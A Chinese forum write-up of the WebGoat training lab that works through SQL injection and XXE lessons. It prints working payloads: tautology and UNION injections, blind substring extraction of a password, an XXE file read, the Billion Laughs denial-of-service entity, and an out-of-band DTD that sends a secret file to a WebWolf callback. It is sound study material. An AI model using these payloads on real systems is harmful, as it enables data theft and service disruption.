0基础学渗透-WebGoat靶场(二)

骚骑   ·   发表于 2020-03-25 11:09:23   ·   技术文章

WebGoat靶场实践(二)

写在开头:当当当,今日更新来啦,承接上篇文章WebGoat靶场实践(一),不再重复赘述,直接步入主题。


第二关Injection Flaws

本关主要是在说注入攻击,sql注入和xxe(其实个人觉得这里放xss更合适),而且sql的排版也有问题,不应该是从低到高么(小声bb。。)

说到注入,其实本质就一句话:

把用户输入的数据当作代码执行。

达成注入,需要满足两个关键条件:

1. 用户能够控制输入。
2. 原本程序要执行的代码,拼接了用户输入的数据,然后进行执行。

接下来我们看sql简单关卡

SQL Injection

lesson1-6讲的都是基础,简单总结下。除了我在本关开头说的本质之外,最基本的就是判断注入点了,接下来我姐扫三种简单办法:

  • 最古老的方法:and 1=1 页面正常,and 1=2 页面异常。
  • 最简单的方法:url后面直接加单引符号’,看返回页面是否正常。
  • 骚的操作方法:数字类型传参,可以尝试-1操作,看页面是否做减法。

有了一个大概了解,上测试吧,lesson7:

不知道为啥有乱码情况,但是并不影响,直接'or 1=1--+

然后呢,然后当然是过关了鸭

哇卡卡卡,lensson8

和lesson7没区别的,所以直接101 or 1=1--+

冲鸭,过关

SQL Injection (mitigation)

对sql注入有了一个简单的了解之后,就需要扩展知识面了
例如本节lensson7讲了一个比较有趣的方法,order by + case

order by +case用法:

select * from users order by (case when (true) then lastname else firstname)

这小节就一个小测,也就突出了对这个用法的强调,我们看看问题是什么

根据问题介绍,以及所涉及的order by + case的数据库语法,所以我们点击一个排序进而抓包看一下

GET传参后面参数就涉及了sql语句order by,进而写payload测试

成功过关,但是得到结果,我才发现我是龙(聋)的朋友—瞎么,这本身不就给出ip了么emmmm

SQL Injection (advanced)

来到sql高级了,但是觉得也就一般,适合刚开始的了解吧,再有就是sql注分好多种,这需要我们自己拓展知识了,网上一搜一大堆,lesso1-2都是介绍,转到lesson3

看介绍是联合查询,撰写payload测试
刚开始先验证了order by查询字段数,但是没有查出来,然后忽然想到了当时挖edusrc时候碰到的order by与group by之间那些不可不说的秘密,考虑可能是聚合函数作怪,因此测试了下,果然

然后一点一点的爆,最后获得字段数

saoqi' group by PUBLIC.USER_DATA.USERID,PUBLIC.USER_DATA.FIRST_NAME, PUBLIC.USER_DATA.LAST_NAME,PUBLIC.USER_DATA.CC_NUMBER,PUBLIC.USER_DATA.CC_TYPE,PUBLIC.USER_DATA.COOKIE,PUBLIC.USER_DATA.LOGIN_COUNT --+

一共是七个字段,而已知的表是四个字段,我第一反应是偏移注入,但是想想偏移注入是不知道所想要查询的表的字段数和字段名 ,所以这个并不要那么麻烦

撰写payload:

saoqi' union select 1,2,3,4,5,6,7 from user_system_data --+

然而我忘记了还有字符类型这么一说,爆了错误

好尴尬,但是无所谓,因为题目已经给出了,就算没有给出我们还可以用null加偏移注入的方式进行

saoqi' union select user_system_data.*,null,null,null from user_system_data --+

获取密码,验证过关

因为lesson4主要是讲了一下盲注,所以lessen5题目八成也就是是盲注,但是抱着学习以及复习的目的,我们装作不知道的测试一下。

看见注册登录模块,首先想到的与sql有关的就是万能密码,万能密码字典跑一下

失败了,哎,试试万能密码,跑一下sql吧

利用burp的sqlmap模块(如果不懂怎么用问度娘哦)发现仍然不行,应该是有预编译,因此转战经常被忽略的注册模块

仔细想了下,注册的话哪里可能会用到数据库,先注册一个试一试

看见创建成功的时候,灵光一闪,检查数据库中是否存在所要注册的用户,这样的话测试下

如果直接用burp跑sqlmap会不会有点暴力,想想还是先利用burp重放包试试

嘿嘿,貌似是找到了,当为false时因为存在所以创建失败,那么根据false还是true进行判断,盲注什么的最恶心了..(我用sqlmap跑了一下没有成功,他这个数据库是HSQLDB,如果有哥哥知道为啥sqlmap不成功请告知弟弟,谢谢)

因为不想盲注,又测试了下dns注入,然后也不行,应该是写死了,不支持,所以这个靶场我忽然不是很喜欢了

最后只能老老实实的进行盲注了,利用substring函数进行盲注,正常的步骤应该是先找系统自带库里的表名,然后以此类推,但是考虑这个是在本表中查询,因此可以直接盲注password
撰写payload(题目是Tom为啥我写tom,因为Tom我猜出来的密码是错误的,就这么简单。):

tom'and substring(password,1,1)='a'--+

可以利用Intruder模块进行爆破,最后爆破出来一共23位,当然刚开始时可以利用length()函数猜长度的,哥哥们如果有更好的办法请告知弟弟

过关,盲注什么的最恶心了,还这么长

附上密码:

thisisasecretfortomonly

XXE

简单的对xxe做下介绍

XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击
举个典型例子

lesson1,2都是在做介绍,lesson3小测这个题目意思是评论然后插入xml,进而读取根目录,并不是很难

惯例抓包

构造payload:

<?xml version="1.0"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///">]><comment> <text>saoqi&xxe;</text></comment>

过关

lesson4和lesson3差不多,只不过json格式的,我们先更改一下头测试下

仅仅是更改头是不行的,我们利用burp的扩展包,进行xml代码转换

然后由于根元素的原因失败了,根元素应该是:

<comment></comment>

过关

lesson5讲了利用xxe进行dos攻击,经典案例就是Billion laughs

Billion laughs

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

lesson6讲的是盲注xxe就是利用公网ip让其不能回显的东西在攻击机上显示出来
攻击机上创建dtd文件

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY ping SYSTEM 'http://127.0.0.1:9090/WebWolf/landing'>

对目标进行xml节点攻击*

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://127.0.0.1/WebWolf/files/attack.dtd">
%remote;
]>
<comment>
 <text>test&ping;</text>
</comment>

lesson7利用的就是lesson6中所说的盲注
在WebWolf上传attack.dtd文件内容为:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///C:\Users\Administrator\.webgoat-8.0.0.M21\XXE\secret.txt">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:9090/landing?text=%file;'>">
%all;

burp包输入payload:

<?xml version="1.0"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "http://localhost:9090/files/test1234/test.dtd">%remote;]><comment><text>test&send;</text></comment>

其中0.0.0.0当然也可以用localhost或者127.0.0.1,admin888是我的WebWolf的用户名

成功读取,但是不知到为啥没有过关

lesson8就是介绍了下防范xxe的措施
简单说下我知道的xxe防御吧

  1. 方案一、使用开发语言提供的禁用外部实体的方法
    例:
    PHP:
    libxml_diable_entity_loader(ture);
    
  2. 方案二、过滤用户提交的XML数据
    关键词:SYSTEM和PUBLIC.

每天上午更新,未完待续。。。

用户名金币积分时间理由
奖励系统 50.00 0 2020-03-28 13:01:21 投稿满 5 赞奖励
admin 100.00 0 2020-03-27 09:09:38

打赏我,让我更有动力~

0 条回复   |  直到 2020-3-25 | 2170 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.